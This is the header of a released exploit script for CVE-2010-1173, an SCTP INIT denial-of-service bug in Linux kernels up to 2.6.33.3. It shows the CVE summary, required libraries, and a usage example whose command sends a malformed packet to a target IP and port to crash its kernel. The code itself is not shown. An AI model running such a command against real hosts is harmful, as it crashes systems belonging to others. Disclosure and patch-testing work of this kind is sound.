  Linux Kernel <= 2.6.33.3 SCTP INIT Remote DoS
  Jon Oberheide <jon@oberheide.org>
  http://jon.oberheide.org
  
  Information:
 
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1173

    The sctp_process_unk_param function in net/sctp/sm_make_chunk.c in the
    Linux kernel 2.6.33.3 and earlier, when SCTP is enabled, allows remote 
    attackers to cause a denial of service (system crash) via an SCTPChunkInit
    packet containing multiple invalid parameters that require a large amount 
    of error data. 

  Usage:
 
    $ python sctp-boom.py 1.2.3.4 19000
    [+] sending malformed SCTP INIT msg to 1.2.3.4:19000
    ...
    [+] kernel should have panicked on remote host 1.2.3.4

  Requirements:
    
    * dnet: http://libdnet.sourceforge.net/
    * dpkt: http://code.google.com/p/dpkt/
